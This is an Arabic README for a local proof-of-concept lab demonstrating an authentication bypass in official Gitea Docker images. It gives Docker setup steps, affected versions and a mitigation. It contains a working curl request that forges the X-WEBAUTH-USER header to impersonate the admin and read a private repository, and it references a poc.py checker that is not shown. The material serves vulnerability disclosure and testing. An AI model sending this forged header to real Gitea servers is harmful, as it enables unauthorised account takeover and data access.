
تجاوز المصادقة في صورة Docker لـ Gitea
[!WARNING] استخدم إثبات المفهوم هذا فقط في بيئة اختبار محلية أو ضد نظام لديك إذن صريح لاختباره.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 هو تجاوز للمصادقة في صور Gitea Docker الرسمية المتأثرة. عند تفعيل المصادقة عبر البروكسي العكسي، فإن الإعداد REVERSE_PROXY_TRUSTED_PROXIES = * الذي يولّده الصورة يسمح لعميل يمكنه الوصول إلى خادم Gitea الخلفي بانتحال شخصية مستخدم موجود من خلال ترويسة X-WEBAUTH-USER.
ينشئ المختبر مسؤولاً باسم gitea-admin بكلمة مرور عشوائية ويخزن CVE-2026-20896_AUTH_BYPASS_CONFIRMED في المستودع الخاص gitea-admin/private-proof. قراءة هذا الملف دون معرفة كلمة مرور المسؤول العشوائية تثبت نجاح التجاوز.
| الفئة | الإصدار |
|---|---|
| المتأثر | صور gitea/gitea الرسمية لـ Docker ≤ 1.26.2 |
| أول إصدار مُصحح | 1.26.3 |
| الموصى به | 1.26.4 أو أحدث |
يتطلب التكوين القابل للاستغلال تفعيل المصادقة عبر البروكسي العكسي وإمكانية الوصول المباشر إلى خادم Gitea الخلفي، أو وجود بروكسي وسيط يحافظ على ترويسة الهوية المقدمة من المهاجم. لا يلزم وجود حاوية بروكسي عكسي لإعادة الإنتاج المحلي هذه.
# البناء
docker build -t cve-2026-20896-gitea-vuln .
# التشغيل
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
انتظر بضع ثوانٍ حتى يتم تهيئة Gitea ومستودع الإثبات الخاص.
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
يعيد الاستغلال الناجح CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
python poc.py http://127.0.0.1:3000
يقارن السكربت بين الطلبات غير المصادق عليها، وطلبات المستخدم غير المسؤول، وطلبات المسؤول المزورة، ويطبع VULNERABLE عند تأكيد تجاوز التفويض. يتطلب Python 3.10 أو أحدث ويستخدم المكتبة القياسية فقط.
REVERSE_PROXY_TRUSTED_PROXIES على عناوين البروكسي الموثوقة.docker stop cve-2026-20896-gitea-vuln